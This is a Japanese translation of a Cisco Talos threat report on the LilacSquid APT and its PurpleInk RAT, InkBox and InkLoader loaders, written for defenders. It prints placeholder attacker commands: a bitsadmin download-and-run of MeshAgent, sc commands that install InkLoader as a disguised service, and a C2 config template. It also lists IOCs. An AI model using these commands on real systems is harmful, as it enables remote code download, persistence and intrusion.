Cisco Japan Blog

LilacSquid によるステルスマルウェア三部作 PurpleInk、InkBox、InkLoader

1 min read



調査担当:Anna BennettNicole HoffmanAsheer MalhotraSean TaylorBrandon White

  • Cisco Talos は、データの窃取が目的と思われる新たなマルウェア攻撃について情報を公開しています。攻撃は遅くとも 2021 年から展開されており、「LilacSquid」という Advanced Persistent Threat 攻撃者(APT)が関与していると Talos では見ています。
  • LilacSquid による被害は、米国の研究、産業セクター向けのソフトウェアを作成する IT 企業、欧州のエネルギーセクターの組織、アジアの製薬セクターなど広範囲に及んでおり、業界に関係なく多様なソースからデータを盗み取ろうとする攻撃者の姿勢が表れています。
  • この攻撃で使用されているのは、オープンソースの遠隔管理ツールである MeshAgent と、Talos で「PurpleInk」と呼んでいるカスタム版の QuasarRAT です。インターネットに公開されている脆弱なアプリケーションサーバーへの侵入後に主要インプラントとしての機能を果たします。
  • 外部公開されたアプリケーションサーバーの脆弱性と、漏洩した Remote Desktop Protocol(RDP)ログイン情報を利用する攻撃であり、MeshAgent や SSF といったさまざまなオープンソースツール、「PurpleInk」などのカスタムマルウェアのほか、2 種類のマルウェアローダー「InkBox」と「InkLoader」を展開します。
  • 侵害を受けた被害組織への長期的なアクセスを確立して、目的のデータを LilacSquid が管理するサーバーに吸い上げられるようにすることが攻撃の目的です。

LilacSquid – スパイ活動を目的とする攻撃者

この攻撃が遅くとも 2021 年から展開されていること、長期的アクセスを確立してデータを窃取することが侵入行為とその後の活動の狙いであること、「LilacSquid」および UAT-4820 として追跡中の Advanced Persistent Threat(APT)が攻撃に関与していることを Talos は確信しています。Talos が確認した少なくとも 3 件の侵入事例では、アジア、ヨーロッパ、米国における製薬、石油・ガス、テクノロジー産業分野の企業が被害を受けています。

Lazarus による 3CXpopup_iconX_Traderpopup_icon の侵害など、ソフトウェアメーカーに対する過去の侵入事例が示すのは、企業や産業組織向けの人気ソフトウェアを製造、配布する組織への長期的な不正アクセスによって LilacSquid のような攻撃者に利をもたらすサプライチェーンへの侵入ルートが開かれ、攻撃の対象が広がるということです。

Talos は LilacSquid が展開した 2 種類の初期アクセス手法を確認しました。具体的には、脆弱性のエクスプロイトと、漏洩した Remote Desktop Protocol(RDP)ログイン情報の使用です。エクスプロイト後の攻撃活動としては、MeshAgent、オープンソースの遠隔管理およびデスクトップ セッション アプリケーション、「PurpleInk」として追跡中の高度にカスタマイズされた QuasarRAT の展開があります。これにより、感染したシステムを LilacSquid が全面的に制御できるようになります。LilacSquid が用いる別の永続化手法に、Secure Socket Funneling(SSF)などのオープンソースツールの使用があります。このツールは、単一のセキュア TLS トンネルを介して複数のソケットをリモートコンピュータにプロキシし、トンネリングするためのものです。

この攻撃で用いられている複数の戦術、手法、ツール、手順(TTP)には、Andariel やその親グループである Lazarus など北朝鮮の APT グループと重なる部分が見られます。公開された情報によると、Andariel はエクスプロイト成功後にアクセスを維持するためのツールとして MeshAgentpopup_icon を使用しています。さらに、侵害後の戦略の一部として Lazarus が SOCKS プロキシとトンネリングツールのほかカスタムマルウェアを広範に使用し、二次アクセスとデータ漏洩のチャネルとして機能させていることを Talos は確認しています。これと同じ手口が、LilacSquid による今回の攻撃でも見られました。攻撃者は他のマルウェアと SSF を同時に展開し、リモートサーバーへのトンネルを作成しています。

LilacSquid の感染チェーン

この攻撃で LilacSquid は主に 2 種類の感染チェーンを使用します。1 つ目は脆弱な Web アプリケーションのエクスプロイトで、2 つ目が漏洩した Remote Desktop Protocol(RDP)ログイン情報の使用です。システムの侵害に成功すると、LilacSquid は侵害を受けたホストに複数のアクセス手段を展開します。具体的には、MeshAgentpopup_iconSecure Socket Funneling(SSF)popup_iconといったデュアルユースツールと、InkLoader、PurpleInk です。

脆弱なアプリケーションのエクスプロイトに成功した後は、マルウェア用の作業ディレクトリを設定し、その後リモートサーバーから MeshAgent のダウンロードと実行を行うためのスクリプトを展開します。実行後、MeshAgent は C2 に接続し、予備的な偵察を行ってから、SSF や PurpleInk など他のインプラントのダウンロードとシステムでのアクティベーションを開始します。

MeshAgent は通常 bitsadmin ユーティリティを使用してダウンロードされ、実行後に C2 との接続を確立します。以下のとおりです。

bitsadmin /transfer -job_name- /download /priority normal -remote_URL- -local_path_for_MeshAgent-  -local_path_for_MeshAgent- connect

InkLoader の組み込み – 感染チェーンのモジュール化

漏洩した Remote Desktop Protocol(RDP)ログイン情報がアクセス手段として使用された事例では、感染チェーンに少し変化が見られました。LilacSquid は、MeshAgent と後続のインプラントを展開するか、別のコンポーネントを感染チェーンに組み込んでから PurpleInk を展開するかのいずれかを選択しています。

InkLoader はシンプルでありながら効果的な .NET ベースのマルウェアローダーです。ハードコードされた実行ファイルまたはコマンドを実行するよう記述されています。この感染チェーンでは、InkLoader は再起動後も感染したホスト上で永続化するコンポーネントであり、実際のマルウェアの実行ファイルではありません。これまでに Talos が確認したところでは、InkLoader を介して実行されたマルウェアインプラントは PurpleInk のみです。ただし、LilacSquid は InkLoader を使用して他のインプラントを展開する可能性があります。

LilacSquid が InkLoader と PurpleInk を同時に展開するのは、盗み取ったログイン情報を使用して標的のホストに不正アクセスし、リモートデスクトップ(RDP)を介したリモートセッションの作成と維持に成功した場合のみであることを Talos は確認しています。RDP を介したログインに成功すると、InkLoader と PurpleInk がダウンロードされ、これらのアーティファクトをディスク上の目的のディレクトリにコピーします。その後、InkLoader をサービスとして登録してから、InkLoader に続いて PurpleInk を展開します。この感染チェーンを表すと次のようになります。

通常、エンドポイントでのサービスの作成と実行はコマンド ライン インターフェイスを介して行われます。次のコマンドが使用されます。

sc create TransactExDetect displayname=Extended Transaction Detection binPath= _filepath_of_InkLoader_ start= auto

sc description TransactExDetect Extended Transaction Detection for Active Directory domain hosts

sc start TransactExDetect

PurpleInk – LilacSquid のカスタムインプラント

LilacSquid が使用する主要インプラントの PurpleInk は、広く普及しているリモートアクセス型トロイの木馬(RAT)の一種、QuasarRAT から作られました。QuasarRAT は遅くとも 2014 年popup_iconから使用されていますが、PurpleInk が積極的に開発されるようになったのは 2021 年以降で、親マルウェアファミリとは別に機能の進化を続けていることが確認されています。

PurpleInk は、付随する構成ファイルを使用して C2 サーバーのアドレスやポートなどの情報を取得します。構成ファイルは通常、PurpleInk が必要とする構成文字列を取得するために base64 でデコードおよび復号されます。

PurpleInk は汎用性の高いインプラントです。高度に難読化されており、さまざまな RAT 機能を有しています。Talos では、機能が導入されたり削除されたりした PurpleInk の複数の亜種を確認しています。

RAT 機能という点では、PurpleInk は次のアクションを感染したホストで実行できます。

  • プロセスを列挙し、プロセス ID、名前、関連付けられたウィンドウタイトルを C2 に送信する。
  • 感染したホスト上で C2 により指定されたプロセス ID(PID)を終了する。
  • ホスト上で新しいアプリケーションを実行し、プロセスを開始する。
  • ボリュームラベル、ルートディレクトリ名、ドライブタイプ、ドライブフォーマットなど感染したホストのドライブ情報を取得する。
  • 特定のディレクトリを列挙し、その中に含まれるディレクトリ名、ファイル名、ファイルサイズを取得する。
  • C2 により指定されたファイルを読み取り、その内容を漏洩させる。
  • 指定したファイルの内容を置き換えるか、追加する。
  • 感染したホストについて、WMI クエリを使用して次のようなシステム情報を収集する。
取得される情報 使用される WMI クエリと出力
プロセッサ名 SELECT * FROM Win32_Processor
メモリ(RAM)サイズ(MB) Select * From Win32_ComputerSystem | TotalPhysicalMemory
ビデオカード(GPU) SELECT * FROM Win32_DisplayConfiguration | Description
ユーザー名 現在のユーザー名
コンピュータ名 感染したホスト名
ドメイン名 感染したホストのドメイン
ホスト名 NetBIOS ホスト名
システムドライブ ルートシステムドライブ
システムディレクトリ 感染したホストのシステムディレクトリ
コンピュータの稼働時間 現在の時刻と SELECT * FROM Win32_OperatingSystem WHERE Primary=’true’ | LastBootUpTime から稼働時間を計算
MAC アドレス エンドポイントのネットワーク インターフェイスを列挙
LAN IP アドレス エンドポイントのネットワーク インターフェイスを列挙
WAN IP アドレス なし(取得または計算されず、空の文字列が C2 に送信される)
ウイルス対策ソフトウェア名 計算されない(デフォルトで「NoInfo」)
ファイアウォール 計算されない(デフォルトで「NoInfo」)
タイムゾーン 計算されない(空の文字列が C2 に送信される)
計算されない(空の文字列が C2 に送信される)
ISP 計算されない(空の文字列が C2 に送信される)
  • 「cmd[.]exe /K」を使用して感染したホストでリモートシェルを起動する。
  • ディレクトリとファイルの名前を変更するか移動してから列挙する。
  • C2 により指定されたファイルとディレクトリを削除する。
  • C2 により指定されたリモートアドレスに接続する。内部で「Friend」として参照されるこのリモートアドレスはリバースプロキシホストであり、PurpleInk が中間プロキシツールとして機能することを示している。

PurpleInk には、「Friend」(プロキシサーバー)との通信に関連した次の機能があります。

  • リモートアドレスが C2 によって指定される新しい Friend に接続する。
  • 新規または既存の Friend にデータを送信する。
  • 指定された Friend との接続を断つ。
  • 接続された他の Friend からデータを受信して処理する。

2023 年と 2024 年に作成され展開された PurpleInk の他の亜種では機能の多くが削除されており、限定的な機能しかありません。この亜種に残されている機能は次のとおりです。

  • プロキシサーバーとのすべての接続を閉じる。
  • リバースシェルを作成する。
  • プロキシに接続し、データを送受信する。

この PurpleInk の亜種にはファイルの管理、実行、システム情報の収集などの機能はありませんが、以前の亜種から引き継いだリバースシェルを感染したエンドポイントでこれらのタスク実行に使用することで、機能が補完される場合があります。攻撃者が頻繁に機能を削除、追加、統合する理由は、感染したシステムからインプラントの痕跡を消して検出を回避するためか、実装方法を改善して冗長機能を削除するためです。

InkBox – 古い攻撃手法で見られるカスタムローダー

InkBox は、ハードコードされているディスク上のファイルパスを読み取り、格納ファイルを復号するマルウェアローダーです。復号された格納ファイルは別の実行可能なアセンブリであり、InkBox プロセス内のエントリポイントを呼び出して実行されます。この 2 つ目のアセンブリがバックドアである PurpleInk です。この場合の感染チェーンの全体像は次のとおりです。

PurpleInk の展開における InkBox の使用は、LilacSquid が 2021 年から使用する古い手法です。2023 年、感染チェーンの別のバリエーションが作成されました。感染チェーンがモジュール化され、PurpleInk を別のプロセスとして実行できるようになりましたが、この新しい感染チェーンでも、「InkLoader」という別のコンポーネントを介して PurpleInk が実行されます。

LilacSquid による MeshAgent の採用

この攻撃では、LilacSquid は侵害後の活動の第 1 段階として MeshAgent を広範に使用しています。MeshAgent は、オープンソースのリモートデバイス管理ソフトウェアである MeshCentralpopup_icon のエージェント/クライアントです。MeshAgent のバイナリは通常、MSH ファイルとして知られる構成ファイルを使用します。この攻撃の MSH ファイルには、MeshName(この場合は攻撃対象 ID)や C2 アドレスなどの情報が含まれています。

MeshName=-Name_of_mesh-

MeshType=-Type_of_mesh-

MeshID=0x-Mesh_ID_hex-

ServerID=-Server_ID_hex-

MeshServer=wss://-Mesh_C2_Address-

Translation=-keywords_translation_JSON-

リモートデバイス管理ユーティリティである MeshAgent により、デバイスのほぼすべての要素を MeshCentral サーバーを介して制御可能となり、以下の機能が得られます。

  • メッシュのすべてのデバイスをリスト化する(攻撃対象リスト)。
  • デスクトップを表示して制御する。
  • システム上のファイルを管理する。
  • デバイスのソフトウェア情報とハードウェア情報を表示する。

エクスプロイト後、MeshAgent は SSF のような他のデュアルユースツールや PurpleInk など悪意のあるツールを感染したシステム上で動作させます。

カバレッジ

今回の脅威は、以下の製品で検出してブロックすることが可能です。

Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。

Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。

Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。

Threat Defense Virtual適応型セキュリティアプライアンスCisco Meraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。

Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。

Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Cisco Umbrella の無料トライアルはこちらからpopup_iconお申し込みください。

Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。

特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。

Cisco Duopopup_icon は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。

オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.orgpopup_icon で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。

IOC

この調査の IOC は、こちらpopup_iconの GitHub リポジトリでも提供しています。

PurpleInk

2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8

ネットワーク IOC

67[.]213[.]221[.]6

192[.]145[.]127[.]190

45[.]9[.]251[.]14

199[.]229[.]250[.]142

 

本稿は 2024 年 05 月 30 日にTalos Grouppopup_icon のブログに投稿された「LilacSquid: The stealthy trilogy of PurpleInk, InkBox and InkLoaderpopup_icon」の抄訳です。

 

コメントを書く